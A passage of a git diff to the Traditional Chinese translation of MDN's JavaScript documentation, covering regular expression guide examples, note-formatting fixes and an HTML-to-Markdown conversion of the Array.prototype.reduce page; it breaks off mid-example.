source + The text of the pattern. Updated at the time that the regular expression + is created, not executed. + "d(b+)d"
+ +As shown in the second form of this example, you can use a regular expression created with an object initializer without assigning it to a variable. If you do, however, every occurrence is a new regular expression. For this reason, if you use this form without assigning it to a variable, you cannot subsequently access the properties of that regular expression. For example, assume you have this script: + +```plain +var myRe = /d(b+)d/g; +var myArray = myRe.exec('cdbbdbsbz'); +console.log('The value of lastIndex is ' + myRe.lastIndex); + +// "The value of lastIndex is 5" +``` + +However, if you have this script: + +```plain +var myArray = /d(b+)d/g.exec('cdbbdbsbz'); +console.log('The value of lastIndex is ' + /d(b+)d/g.lastIndex); + +// "The value of lastIndex is 0" +``` + +The occurrences of `/d(b+)d/g` in the two statements are different regular expression objects and hence have different values for their `lastIndex` property. If you need to access the properties of a regular expression created with an object initializer, you should first assign it to a variable. + +### Using Parenthesized Substring Matches + +Including parentheses in a regular expression pattern causes the corresponding submatch to be remembered. For example, `/a(b)c/` matches the characters 'abc' and remembers 'b'. To recall these parenthesized substring matches, use the `Array` elements `[1]`, ..., `[n]`. + +The number of possible parenthesized substrings is unlimited. The returned array holds all that were found. The following examples illustrate how to use parenthesized substring matches. + +下面這個 script 以 {{jsxref("String.replace", "replace()")}} 方法移轉字串位置。對於要被置換的文字內容,以 `$1` 和 `$2` 來代表先前 re 這個變數裡面,找出來綑綁且照順序來表示兩個子字串。 + +```plain +var re = /(\w+)\s(\w+)/; +var str = 'John Smith'; +var newstr = str.replace(re, '$2, $1'); +console.log(newstr); + +// "Smith, John" +``` + +### Advanced Searching With Flags + +Regular expressions have five optional flags that allow for global and case insensitive searching. These flags can be used separately or together in any order, and are included as part of the regular expression. + +| Flag | Description | +| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------- | +| `g` | Global search. | +| i | Case-insensitive search. | +| m | Multi-line search. | +| u | unicode; treat a pattern as a sequence of unicode code points | +| y | Perform a "sticky" search that matches starting at the current position in the target string. See {{jsxref("RegExp.sticky", "sticky")}} | + +To include a flag with the regular expression, use this syntax: + +```plain +var re = /pattern/flags; +``` + +or + +```plain +var re = new RegExp('pattern', 'flags'); +``` + +Note that the flags are an integral part of a regular expression. They cannot be added or removed later. + +For example, `re = /\w+\s/g` creates a regular expression that looks for one or more characters followed by a space, and it looks for this combination throughout the string. + +```plain +var re = /\w+\s/g; +var str = 'fee fi fo fum'; +var myArray = str.match(re); +console.log(myArray); + +// ["fee ", "fi ", "fo "] +``` + +You could replace the line: + +```plain +var re = /\w+\s/g; +``` + +with: + +```plain +var re = new RegExp('\\w+\\s', 'g'); +``` + +and get the same result. + +The behavior associated with the '**`g`**' flag is different when the `.exec()` method is used. (The roles of "class" and "argument" get reversed: In the case of `.match()`, the string class (or data type) owns the method and the regular expression is just an argument, while in the case of `.exec()`, it is the regular expression that owns the method, with the string being the argument. Contrast _`str.match(re)`_ versus _`re.exec(str)`_.) The '**`g`**' flag is used with the **`.exec()`** method to get iterative progression. + +```plain +var xArray; while(xArray = re.exec(str)) console.log(xArray); +// produces: +// ["fee ", index: 0, input: "fee fi fo fum"] +// ["fi ", index: 4, input: "fee fi fo fum"] +// ["fo ", index: 7, input: "fee fi fo fum"] +``` + +The `m` flag is used to specify that a multiline input string should be treated as multiple lines. If the `m` flag is used, `^` and `$` match at the start or end of any line within the input string instead of the start or end of the entire string. + +## 範例 + +The following examples show some uses of regular expressions. + +### Changing the order in an input string + +The following example illustrates the formation of regular expressions and the use of `string.split()` and `string.replace()`. It cleans a roughly formatted input string containing names (first name last) separated by blanks, tabs and exactly one semicolon. Finally, it reverses the name order (last name first) and sorts the list. + +```plain +// The name string contains multiple spaces and tabs, +// and may have multiple spaces between first and last names. +var names = 'Orange Trump ;Fred Barney; Helen Rigby ; Bill Abel ; Chris Hand '; + +var output = ['---------- Original String\n', names + '\n']; + +// Prepare two regular expression patterns and array storage. +// Split the string into array elements. + +// pattern: possible white space then semicolon then possible white space +var pattern = /\s*;\s*/; + +// Break the string into pieces separated by the pattern above and +// store the pieces in an array called nameList +var nameList = names.split(pattern); + +// new pattern: one or more characters then spaces then characters. +// Use parentheses to "memorize" portions of the pattern. +// The memorized portions are referred to later. +pattern = /(\w+)\s+(\w+)/; + +// Below is the new array for holding names being processed. +var bySurnameList = []; + +// Display the name array and populate the new array +// with comma-separated names, last first. +// +// The replace method removes anything matching the pattern +// and replaces it with the memorized string—the second memorized portion +// followed by a comma, a space and the first memorized portion. +// +// The variables $1 and $2 refer to the portions +// memorized while matching the pattern. + +output.push('---------- After Split by Regular Expression'); + +var i, len; +for (i = 0, len = nameList.length; i < len; i++) { + output.push(nameList[i]); + bySurnameList[i] = nameList[i].replace(pattern, '$2, $1'); +} + +// Display the new array. +output.push('---------- Names Reversed'); +for (i = 0, len = bySurnameList.length; i < len; i++) { + output.push(bySurnameList[i]); +} + +// Sort by last name, then display the sorted array. +bySurnameList.sort(); +output.push('---------- Sorted'); +for (i = 0, len = bySurnameList.length; i < len; i++) { + output.push(bySurnameList[i]); +} + +output.push('---------- End'); + +console.log(output.join('\n')); +``` + +### 使用特殊字元驗證輸入 + +In the following example, the user is expected to enter a phone number. When the user presses the "Check" button, the script checks the validity of the number. If the number is valid (matches the character sequence specified by the regular expression), the script shows a message thanking the user and confirming the number. If the number is invalid, the script informs the user that the phone number is not valid. + +Within non-capturing parentheses `(?:` , the regular expression looks for three numeric characters `\d{3}` OR `|` a left parenthesis `\(` followed by three digits` \d{3}`, followed by a close parenthesis `\)`, (end non-capturing parenthesis `)`), followed by one dash, forward slash, or decimal point and when found, remember the character `([-\/\.])`, followed by three digits `\d{3}`, followed by the remembered match of a dash, forward slash, or decimal point `\1`, followed by four digits `\d{4}`. + +The `Change` event activated when the user presses Enter sets the value of `RegExp.input`. + +```plain + + + + + + + + +

Enter your phone number (with area code) and then click "Check". +
The expected format is like ###-###-####.

+
+ +
+ + +``` + +{{PreviousNext("Web/JavaScript/Guide/Text_formatting", "Web/JavaScript/Guide/Indexed_collections")}} diff --git a/files/zh-tw/web/javascript/inheritance_and_the_prototype_chain/index.md b/files/zh-tw/web/javascript/inheritance_and_the_prototype_chain/index.md index d522ee7791484f..6f5450a437f028 100644 --- a/files/zh-tw/web/javascript/inheritance_and_the_prototype_chain/index.md +++ b/files/zh-tw/web/javascript/inheritance_and_the_prototype_chain/index.md @@ -19,7 +19,7 @@ JavaScript 是個沒有實做 `class` 關鍵字的動態語言,所以會對那 JavaScript 物件是一「包」動態的屬性(也就是**它自己**的屬性)並擁有一個原型物件的鏈結,當物件試圖存取一個物件的屬性時,其不僅會尋找該物件,也會尋找該物件的原型、原型的原型……直到找到相符合的屬性,或是到達原型鏈的尾端。 -> **備註:**遵照 ECMAScript 標準的 `someObject.[[Prototype]]` 標記,用於指派 `someObject` 的原型。從 ECMAScript 2015 開始, `[[Prototype]]` 使用 {{jsxref("Object.getPrototypeOf()")}} 與 {{jsxref("Object.setPrototypeOf()")}} 這兩個訪問器(accessors)訪問,等同於非標準,但各大瀏覽器已實做的 `__proto__` 屬性。 +> **備註:** 遵照 ECMAScript 標準的 `someObject.[[Prototype]]` 標記,用於指派 `someObject` 的原型。從 ECMAScript 2015 開始, `[[Prototype]]` 使用 {{jsxref("Object.getPrototypeOf()")}} 與 {{jsxref("Object.setPrototypeOf()")}} 這兩個訪問器(accessors)訪問,等同於非標準,但各大瀏覽器已實做的 `__proto__` 屬性。 > > 不要把 `someObject.[[Prototype]]` 與函式屬性 `func.prototype` 混淆了。它在函式被用作建構子的時候,指定 `[[Prototype]]` 要分派到所有由給定函式建立的物件實例(instance)。**`Object.prototype`** 屬性代表了原型屬性 {{jsxref("Object")}}。 diff --git a/files/zh-tw/web/javascript/reference/errors/not_defined/index.md b/files/zh-tw/web/javascript/reference/errors/not_defined/index.md index 98d0a8c0b943c3..758660464443f7 100644 --- a/files/zh-tw/web/javascript/reference/errors/not_defined/index.md +++ b/files/zh-tw/web/javascript/reference/errors/not_defined/index.md @@ -19,7 +19,7 @@ ReferenceError: "x" is not defined 有個地方參照到不存在的變數了。這個變數需要宣告、或確定在目前腳本、或在 {{Glossary("scope")}} 裡可用。 -> **備註:**如果要使用函式庫(例如 jQuery)的話,請確定在你使用諸如 $ 這樣的函式庫變數前,就已載入完畢。把載入函式庫的 {{HTMLElement("script")}} 標籤,放在你使用的程式碼之前。 +> **備註:** 如果要使用函式庫(例如 jQuery)的話,請確定在你使用諸如 $ 這樣的函式庫變數前,就已載入完畢。把載入函式庫的 {{HTMLElement("script")}} 標籤,放在你使用的程式碼之前。 ## 實例 diff --git a/files/zh-tw/web/javascript/reference/functions/arguments/index.md b/files/zh-tw/web/javascript/reference/functions/arguments/index.md index a150aa71f4b6a3..cd853141652f96 100644 --- a/files/zh-tw/web/javascript/reference/functions/arguments/index.md +++ b/files/zh-tw/web/javascript/reference/functions/arguments/index.md @@ -20,9 +20,9 @@ arguments ## 描述 -> **備註:**如果你有在使用 ES6 語法,建議參考[其餘參數](/zh-TW/docs/Web/JavaScript/Reference/Functions/rest_parameters)。 +> **備註:** 如果你有在使用 ES6 語法,建議參考[其餘參數](/zh-TW/docs/Web/JavaScript/Reference/Functions/rest_parameters)。 -> **備註:**「類陣列 (Array-like)」 的意思是 `arguments` 一樣擁有 `length`這項屬性,以及從 0 開始的索引,但是它沒有陣列內建的方法像是 `forEach()` ,或是 `map()` 。 +> **備註:** 「類陣列 (Array-like)」 的意思是 `arguments` 一樣擁有 `length`這項屬性,以及從 0 開始的索引,但是它沒有陣列內建的方法像是 `forEach()` ,或是 `map()` 。 The `arguments` object is a local variable available within all (non-arrow) functions. You can refer to a function's arguments within the function by using the `arguments` object. This object contains an entry for each argument passed to the function, the first entry's index starting at 0. diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/concat/index.md b/files/zh-tw/web/javascript/reference/global_objects/array/concat/index.md index dea841b0aaa92f..1a09fd9bee88d3 100644 --- a/files/zh-tw/web/javascript/reference/global_objects/array/concat/index.md +++ b/files/zh-tw/web/javascript/reference/global_objects/array/concat/index.md @@ -40,7 +40,7 @@ var new_array = old_array.concat(value1[, value2[, ...[, valueN]]]) - 物件參考(並非為實際的物件):`concat` 複製物件的參考至新的陣列。不管是原始的還是新的陣列都參考到相同的物件。也就是說,如果一個被參照的物件被修改了,變動會同時反映到新的以及原始的陣列中。 - 資料型態為字串、數值或是布林(非 {{jsxref("Global_Objects/String", "String")}}、{{jsxref("Global_Objects/Number", "Number")}} 及 {{jsxref("Global_Objects/Boolean", "Boolean")}} 物件):`concat` 複製字串及數值的值到新的陣列。 -> **備註:**合併(多個)陣列/(多個)值將讓原始的陣列不會被受到影響。此外,任何對新陣列(只有在元素不是物件參考的情況下)的操作都不會影響原始的陣列,反之亦然。 +> **備註:** 合併(多個)陣列/(多個)值將讓原始的陣列不會被受到影響。此外,任何對新陣列(只有在元素不是物件參考的情況下)的操作都不會影響原始的陣列,反之亦然。 ## 範例 diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/foreach/index.md b/files/zh-tw/web/javascript/reference/global_objects/array/foreach/index.md index 625c6362d930cc..1b767023b80ca4 100644 --- a/files/zh-tw/web/javascript/reference/global_objects/array/foreach/index.md +++ b/files/zh-tw/web/javascript/reference/global_objects/array/foreach/index.md @@ -62,7 +62,7 @@ The range of elements processed by `forEach()` is set before the first invocatio `forEach()` does not mutate the array on which it is called (although `callback`, if invoked, may do so). -> **備註:**除非是拋出異常,否則並沒有中止 `forEach()` 迴圈的辦法。如果你需要這樣做,`forEach()` 就是錯誤的用法,相反的,應該要用簡單的迴圈。如果你要測試陣列裡面的元素並回傳布林值,可以用 {{jsxref("Array.prototype.every()", "every()")}} 或 {{jsxref("Array.prototype.some()", "some()")}}。如果可以的話,新的方法 {{jsxref("Array.prototype.find()", "find()")}} 或 {{jsxref("Array.prototype.findIndex()", "findIndex()")}} 也可以用於 true 值之後提前終止。 +> **備註:** 除非是拋出異常,否則並沒有中止 `forEach()` 迴圈的辦法。如果你需要這樣做,`forEach()` 就是錯誤的用法,相反的,應該要用簡單的迴圈。如果你要測試陣列裡面的元素並回傳布林值,可以用 {{jsxref("Array.prototype.every()", "every()")}} 或 {{jsxref("Array.prototype.some()", "some()")}}。如果可以的話,新的方法 {{jsxref("Array.prototype.find()", "find()")}} 或 {{jsxref("Array.prototype.findIndex()", "findIndex()")}} 也可以用於 true 值之後提前終止。 ## 範例 diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/indexof/index.md b/files/zh-tw/web/javascript/reference/global_objects/array/indexof/index.md index 82422602563169..44c3136b1f87ac 100644 --- a/files/zh-tw/web/javascript/reference/global_objects/array/indexof/index.md +++ b/files/zh-tw/web/javascript/reference/global_objects/array/indexof/index.md @@ -14,7 +14,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/indexOf **`indexOf()`** 方法會回傳給定元素於陣列中第一個被找到之索引,若不存在於陣列中則回傳 -1。 -> **備註:**若是調用字串的方法,請參閱 {{jsxref("String.prototype.indexOf()")}}。 +> **備註:** 若是調用字串的方法,請參閱 {{jsxref("String.prototype.indexOf()")}}。 {{EmbedInteractiveExample("pages/js/array-indexof.html")}} diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/reduce/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/reduce/index.html deleted file mode 100644 index 5af2fc2c2c009c..00000000000000 --- a/files/zh-tw/web/javascript/reference/global_objects/array/reduce/index.html +++ /dev/null @@ -1,449 +0,0 @@ ---- -title: Array.prototype.reduce() -slug: Web/JavaScript/Reference/Global_Objects/Array/Reduce -tags: - - Array - - ECMAScript 5 - - JavaScript - - Method - - Prototype - - Reduce - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Array/Reduce ---- -
{{JSRef}}
- -

reduce() 方法將一個累加器及陣列中每項元素(由左至右)傳入回呼函式,將陣列化為單一值。

- -
{{EmbedInteractiveExample("pages/js/array-reduce.html")}}
- -

語法

- -
arr.reduce(callback[accumulator, currentValue, currentIndex, array], initialValue)
- -

參數

- -
-
callback
-
用於處理陣列中每個元素的函式,可傳入四個參數: -
-
accumulator
-
用來累積回呼函式回傳值的累加器(accumulator)或 initialValue(若有提供的話,詳如下敘)。累加器是上一次呼叫後,所回傳的累加數值。
-
currentValue
-
原陣列目前所迭代處理中的元素。
-
currentIndex{{optional_inline}}
-
原陣列目前所迭代處理中的元素之索引。若有傳入 initialValue,則由索引 0 之元素開始,若無則自索引 1 之元素開始。
-
array{{optional_inline}}
-
呼叫 reduce() 方法的陣列。
-
-
-
initialValue{{optional_inline}}
-
於第一次呼叫 callback 時要傳入的累加器初始值。若沒有提供初始值,則原陣列的第一個元素將會被當作初始的累加器。假如於一個空陣列呼叫 reduce() 方法且沒有提供累加器初始值,將會發生錯誤。
-
- -

回傳值

- -

簡化後的結果值。

- -

描述

- -

reduce() 會對每一個目前迭代到的陣列元素(除了空值以外)執行 callback 函式,回呼函式會接收四個參數:

- -
    -
  • accumulator
  • -
  • currentValue
  • -
  • currentIndex
  • -
  • array
  • -
- -

當回呼函式第一次被呼叫時,accumulatorcurrentValue 的值可能為兩種不同的狀況:若在呼叫 reduce() 時有提供 initialValue,則 accumulator 將會等於 initialValue,且 currentValue 會等於陣列中的第一個元素值;若沒有提供 initialValue,則 accumulator 會等於陣列的第一個元素值,且 currentValue 將會等於陣列的第二個元素值。

- -
-

備註:假如 initialValue 未被提供,reduce() 將會跳過第一個陣列索引,從陣列索引 1 開始執行回呼函式。若有提供 initialValue,則會由陣列索引 0 開始執行。

-
- -

若陣列為空且沒有提供 initialValue,將會拋出 {{jsxref("TypeError")}}。假如陣列只有一個元素(無論其索引位置為何)並且沒有提供 initialValue,或如果提供了 initialValue 但陣列為空,則此唯一的值將會被直接回傳而不會呼叫 callback 函式

- -

提供累加器初始值通常較為安全,因為在沒有傳入 initialValue 的情況下會有三種可能的輸出結果,如下列範例:

- -
var maxCallback = ( acc, cur ) => Math.max( acc.x, cur.x );
-var maxCallback2 = ( max, cur ) => Math.max( max, cur );
-
-// reduce() without initialValue
-[ { x: 22 }, { x: 42 } ].reduce( maxCallback ); // 42
-[ { x: 22 }            ].reduce( maxCallback ); // { x: 22 }
-[                      ].reduce( maxCallback ); // TypeError
-
-// map/reduce; better solution, also works for empty or larger arrays
-[ { x: 22 }, { x: 42 } ].map( el => el.x )
-                        .reduce( maxCallback2, -Infinity );
-
- -

reduce() 如何運作

- -

假設 reduce() 以下例方式使用:

- -
[0, 1, 2, 3, 4].reduce(
-  function (
-    accumulator,
-    currentValue,
-    currentIndex,
-    array
-  ) {
-    return accumulator + currentValue;
-  }
-);
-
- -

所傳入的回呼函式將被呼叫四次,所傳入的參數與回傳值如下所示:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
callbackaccumulatorcurrentValuecurrentIndexarrayreturn value
first call011[0, 1, 2, 3, 4]1
second call122[0, 1, 2, 3, 4]3
third call333[0, 1, 2, 3, 4]6
fourth call644[0, 1, 2, 3, 4]10
- -

reduce() 的最終回傳值將會是最後一次呼叫回呼函式的回傳值 (10)。

- -

你也可以傳入一個{{jsxref("Functions/Arrow_functions", "箭頭函式","",1)}}來替代一個完整的函式。下方的程式碼執行的結果將與前述例子相同。

- -
[0, 1, 2, 3, 4].reduce( (prev, curr) => prev + curr );
-
- -

如果你有提供第二個參數值給 reduce(),執行的結果如下:

- -
[0, 1, 2, 3, 4].reduce(
-  (accumulator, currentValue, currentIndex, array) => {
-    return accumulator + currentValue;
-  },
-  10
-);
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
callbackaccumulatorcurrentValuecurrentIndexarrayreturn value
first call1000[0, 1, 2, 3, 4]10
second call1011[0, 1, 2, 3, 4]11
third call1122[0, 1, 2, 3, 4]13
fourth call1333[0, 1, 2, 3, 4]16
fifth call1644[0, 1, 2, 3, 4]20
- -

reduce() 執行的結果將會是 20

- -

範例

- -

加總所有陣例之元素值

- -
var sum = [0, 1, 2, 3].reduce(function (a, b) {
-  return a + b;
-}, 0);
-// sum is 6
-
- -

另外,也可以寫成箭頭函式:

- -
var total = [ 0, 1, 2, 3 ].reduce(
-  ( acc, cur ) => acc + cur,
-  0
-);
- -

攤平一個多維陣列

- -
var flattened = [[0, 1], [2, 3], [4, 5]].reduce(
-  function(a, b) {
-    return a.concat(b);
-  },
-  []
-);
-// flattened is [0, 1, 2, 3, 4, 5]
-
- -

另外,也可以寫成箭頭函式:

- -
var flattened = [[0, 1], [2, 3], [4, 5]].reduce(
-  ( acc, cur ) => acc.concat(cur),
-  []
-);
-
- -

計算相同元素數量並以物件鍵值顯示

- -
var names = ['Alice', 'Bob', 'Tiff', 'Bruce', 'Alice'];
-
-var countedNames = names.reduce(function (allNames, name) {
-  if (name in allNames) {
-    allNames[name]++;
-  }
-  else {
-    allNames[name] = 1;
-  }
-  return allNames;
-}, {});
-// countedNames is:
-// { 'Alice': 2, 'Bob': 1, 'Tiff': 1, 'Bruce': 1 }
-
- -

使用 spread 運算子與給定初始值,結合物件中的陣列元素

- -
// friends - an array of objects
-// where object field "books" - list of favorite books
-var friends = [{
-  name: 'Anna',
-  books: ['Bible', 'Harry Potter'],
-  age: 21
-}, {
-  name: 'Bob',
-  books: ['War and peace', 'Romeo and Juliet'],
-  age: 26
-}, {
-  name: 'Alice',
-  books: ['The Lord of the Rings', 'The Shining'],
-  age: 18
-}];
-
-// allbooks - list which will contain all friends' books +
-// additional list contained in initialValue
-var allbooks = friends.reduce(function(prev, curr) {
-  return [...prev, ...curr.books];
-}, ['Alphabet']);
-
-// allbooks = [
-//   'Alphabet', 'Bible', 'Harry Potter', 'War and peace',
-//   'Romeo and Juliet', 'The Lord of the Rings',
-//   'The Shining'
-// ]
- -

- -

移除陣列中的重複項目

- -
let arr = [1, 2, 1, 2, 3, 5, 4, 5, 3, 4, 4, 4, 4];
-let result = arr.sort().reduce((init, current) => {
-    if (init.length === 0 || init[init.length - 1] !== current) {
-        init.push(current);
-    }
-    return init;
-}, []);
-console.log(result); //[1,2,3,4,5]
-
- -

序列執行 Promise

- -
/**
- * Runs promises from promise array in chained manner
- *
- * @param {array} arr - promise arr
- * @return {Object} promise object
- */
-function runPromiseInSequense(arr) {
-  return arr.reduce((promiseChain, currentPromise) => {
-    return promiseChain.then((chainedResult) => {
-      return currentPromise(chainedResult)
-        .then((res) => res)
-    })
-  }, Promise.resolve());
-}
-
-// promise function 1
-function p1() {
-  return new Promise((resolve, reject) => {
-    resolve(5);
-  });
-}
-
-// promise function 2
-function p2(a) {
-  return new Promise((resolve, reject) => {
-    resolve(a * 2);
-  });
-}
-
-// promise function 3
-function p3(a) {
-  return new Promise((resolve, reject) => {
-    resolve(a * 3);
-  });
-}
-
-const promiseArr = [p1, p2, p3];
-runPromiseInSequense(promiseArr)
-  .then((res) => {
-    console.log(res);   // 30
-  });
-
-
- -

Polyfill

- -
// Production steps of ECMA-262, Edition 5, 15.4.4.21
-// Reference: http://es5.github.io/#x15.4.4.21
-// https://tc39.github.io/ecma262/#sec-array.prototype.reduce
-if (!Array.prototype.reduce) {
-  Object.defineProperty(Array.prototype, 'reduce', {
-    value: function(callback /*, initialValue*/) {
-      if (this === null) {
-        throw new TypeError( 'Array.prototype.reduce ' +
-          'called on null or undefined' );
-      }
-      if (typeof callback !== 'function') {
-        throw new TypeError( callback +
-          ' is not a function');
-      }
-
-      // 1. Let O be ? ToObject(this value).
-      var o = Object(this);
-
-      // 2. Let len be ? ToLength(? Get(O, "length")).
-      var len = o.length >>> 0;
-
-      // Steps 3, 4, 5, 6, 7
-      var k = 0;
-      var value;
-
-      if (arguments.length >= 2) {
-        value = arguments[1];
-      } else {
-        while (k < len && !(k in o)) {
-          k++;
-        }
-
-        // 3. If len is 0 and initialValue is not present,
-        //    throw a TypeError exception.
-        if (k >= len) {
-          throw new TypeError( 'Reduce of empty array ' +
-            'with no initial value' );
-        }
-        value = o[k++];
-      }
-
-      // 8. Repeat, while k < len
-      while (k < len) {
-        // a. Let Pk be ! ToString(k).
-        // b. Let kPresent be ? HasProperty(O, Pk).
-        // c. If kPresent is true, then
-        //    i.  Let kValue be ? Get(O, Pk).
-        //    ii. Let accumulator be ? Call(
-        //          callbackfn, undefined,
-        //          « accumulator, kValue, k, O »).
-        if (k in o) {
-          value = callback(value, o[k], k, o);
-        }
-
-        // d. Increase k by 1.
-        k++;
-      }
-
-      // 9. Return accumulator.
-      return value;
-    }
-  });
-}
-
- -

如果還需要支援老舊到不支援 Object.defineProperty 的 JavaScript 引擎,最好不要 polyfill Array.prototype 方法,因為你無法令其不可枚舉(non-enumerable)。

- -

規範

- -{{Specifications}} - -

瀏覽器相容性

- -
- - -

{{Compat("javascript.builtins.Array.reduce")}}

-
- -

參見

- -
    -
  • {{jsxref("Array.prototype.reduceRight()")}}
  • -
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/reduce/index.md b/files/zh-tw/web/javascript/reference/global_objects/array/reduce/index.md new file mode 100644 index 00000000000000..dc3169c716f3d0 --- /dev/null +++ b/files/zh-tw/web/javascript/reference/global_objects/array/reduce/index.md @@ -0,0 +1,353 @@ +--- +title: Array.prototype.reduce() +slug: Web/JavaScript/Reference/Global_Objects/Array/Reduce +--- +{{JSRef}} + +**`reduce()`** 方法將一個累加器及陣列中每項元素(由左至右)傳入回呼函式,將陣列化為單一值。 + +{{EmbedInteractiveExample("pages/js/array-reduce.html")}} + +## 語法 + +```plain +arr.reduce(callback[accumulator, currentValue, currentIndex, array], initialValue) +``` + +### 參數 + +- `callback` + - : 用於處理陣列中每個元素的函式,可傳入四個參數: + + - `accumulator` + - : 用來累積回呼函式回傳值的累加器(accumulator)或 `initialValue`(若有提供的話,詳如下敘)。累加器是上一次呼叫後,所回傳的累加數值。 + - `currentValue` + - : 原陣列目前所迭代處理中的元素。 + - `currentIndex` {{optional_inline}} + - : 原陣列目前所迭代處理中的元素之索引。若有傳入 `initialValue`,則由索引 0 之元素開始,若無則自索引 1 之元素開始。 + - `array` {{optional_inline}} + - : 呼叫 `reduce()` 方法的陣列。 + - `initialValue` {{optional_inline}} + - : 於第一次呼叫 `callback` 時要傳入的累加器初始值。若沒有提供初始值,則原陣列的第一個元素將會被當作初始的累加器。假如於一個空陣列呼叫 `reduce()` 方法且沒有提供累加器初始值,將會發生錯誤。 + +### 回傳值 + +簡化後的結果值。 + +## 描述 + +`reduce()` 會對每一個目前迭代到的陣列元素(除了空值以外)執行 `callback` 函式,回呼函式會接收四個參數: + +- `accumulator` +- `currentValue` +- `currentIndex` +- `array` + +當回呼函式第一次被呼叫時,`accumulator` 與 `currentValue` 的值可能為兩種不同的狀況:若在呼叫 `reduce()` 時有提供 `initialValue`,則 `accumulator` 將會等於 `initialValue`,且 `currentValue` 會等於陣列中的第一個元素值;若沒有提供 `initialValue`,則 `accumulator` 會等於陣列的第一個元素值,且 `currentValue` 將會等於陣列的第二個元素值。 + +> **備註:** 假如 `initialValue` 未被提供,`reduce()` 將會跳過第一個陣列索引,從陣列索引 1 開始執行回呼函式。若有提供 `initialValue`,則會由陣列索引 0 開始執行。 + +若陣列為空且沒有提供 `initialValue`,將會拋出 {{jsxref("TypeError")}}。假如陣列只有一個元素(無論其索引位置為何)並且沒有提供 `initialValue`,或如果提供了 `initialValue` 但陣列為空,則此唯一的值將會被直接回傳*而不會呼叫 `callback` 函式*。 + +提供累加器初始值通常較為安全,因為在沒有傳入 `initialValue` 的情況下會有三種可能的輸出結果,如下列範例: + +```js +var maxCallback = ( acc, cur ) => Math.max( acc.x, cur.x ); +var maxCallback2 = ( max, cur ) => Math.max( max, cur ); + +// reduce() without initialValue +[ { x: 22 }, { x: 42 } ].reduce( maxCallback ); // 42 +[ { x: 22 } ].reduce( maxCallback ); // { x: 22 } +[ ].reduce( maxCallback ); // TypeError + +// map/reduce; better solution, also works for empty or larger arrays +[ { x: 22 }, { x: 42 } ].map( el => el.x ) + .reduce( maxCallback2, -Infinity ); +``` + +### reduce() 如何運作 + +假設 `reduce()` 以下例方式使用: + +```js +[0, 1, 2, 3, 4].reduce( + function ( + accumulator, + currentValue, + currentIndex, + array + ) { + return accumulator + currentValue; + } +); +``` + +所傳入的回呼函式將被呼叫四次,所傳入的參數與回傳值如下所示: + +| `callback` | `accumulator` | `currentValue` | `currentIndex` | `array` | return value | +| ----------- | ------------- | -------------- | -------------- | ----------------- | ------------ | +| first call | `0` | `1` | `1` | `[0, 1, 2, 3, 4]` | `1` | +| second call | `1` | `2` | `2` | `[0, 1, 2, 3, 4]` | `3` | +| third call | `3` | `3` | `3` | `[0, 1, 2, 3, 4]` | `6` | +| fourth call | `6` | `4` | `4` | `[0, 1, 2, 3, 4]` | `10` | + +`reduce()` 的最終回傳值將會是最後一次呼叫回呼函式的回傳值 (`10`)。 + +你也可以傳入一個{{jsxref("Functions/Arrow_functions", "箭頭函式","",1)}}來替代一個完整的函式。下方的程式碼執行的結果將與前述例子相同。 + +```js +[0, 1, 2, 3, 4].reduce( (prev, curr) => prev + curr ); +``` + +如果你有提供第二個參數值給 `reduce()`,執行的結果如下: + +```js +[0, 1, 2, 3, 4].reduce( + (accumulator, currentValue, currentIndex, array) => { + return accumulator + currentValue; + }, + 10 +); +``` + +| `callback` | `accumulator` | `currentValue` | `currentIndex` | `array` | return value | +| ----------- | ------------- | -------------- | -------------- | ----------------- | ------------ | +| first call | `10` | `0` | `0` | `[0, 1, 2, 3, 4]` | `10` | +| second call | `10` | `1` | `1` | `[0, 1, 2, 3, 4]` | `11` | +| third call | `11` | `2` | `2` | `[0, 1, 2, 3, 4]` | `13` | +| fourth call | `13` | `3` | `3` | `[0, 1, 2, 3, 4]` | `16` | +| fifth call | `16` | `4` | `4` | `[0, 1, 2, 3, 4]` | `20` | + +`reduce()` 執行的結果將會是 `20`。 + +## 範例 + +### 加總所有陣例之元素值 + +```js +var sum = [0, 1, 2, 3].reduce(function (a, b) { + return a + b; +}, 0); +// sum is 6 +``` + +另外,也可以寫成箭頭函式: + +```js +var total = [ 0, 1, 2, 3 ].reduce( + ( acc, cur ) => acc + cur, + 0 +); +``` + +### 攤平一個多維陣列 + +```js +var flattened = [[0, 1], [2, 3], [4, 5]].reduce( + function(a, b) { + return a.concat(b); + }, + [] +); +// flattened is [0, 1, 2, 3, 4, 5] +``` + +另外,也可以寫成箭頭函式: + +```js +var flattened = [[0, 1], [2, 3], [4, 5]].reduce( + ( acc, cur ) => acc.concat(cur), + [] +); +``` + +### 計算相同元素數量並以物件鍵值顯示 + +```js +var names = ['Alice', 'Bob', 'Tiff', 'Bruce', 'Alice']; + +var countedNames = names.reduce(function (allNames, name) { + if (name in allNames) { + allNames[name]++; + } + else { + allNames[name] = 1; + } + return allNames; +}, {}); +// countedNames is: +// { 'Alice': 2, 'Bob': 1, 'Tiff': 1, 'Bruce': 1 } +``` + +### 使用 spread 運算子與給定初始值,結合物件中的陣列元素 + +```js +// friends - an array of objects +// where object field "books" - list of favorite books +var friends = [{ + name: 'Anna', + books: ['Bible', 'Harry Potter'], + age: 21 +}, { + name: 'Bob', + books: ['War and peace', 'Romeo and Juliet'], + age: 26 +}, { + name: 'Alice', + books: ['The Lord of the Rings', 'The Shining'], + age: 18 +}]; + +// allbooks - list which will contain all friends' books + +// additional list contained in initialValue +var allbooks = friends.reduce(function(prev, curr) { + return [...prev, ...curr.books]; +}, ['Alphabet']); + +// allbooks = [ +// 'Alphabet', 'Bible', 'Harry Potter', 'War and peace', +// 'Romeo and Juliet', 'The Lord of the Rings', +// 'The Shining' +// ] +``` + +### 移除陣列中的重複項目 + +```js +let arr = [1, 2, 1, 2, 3, 5, 4, 5, 3, 4, 4, 4, 4]; +let result = 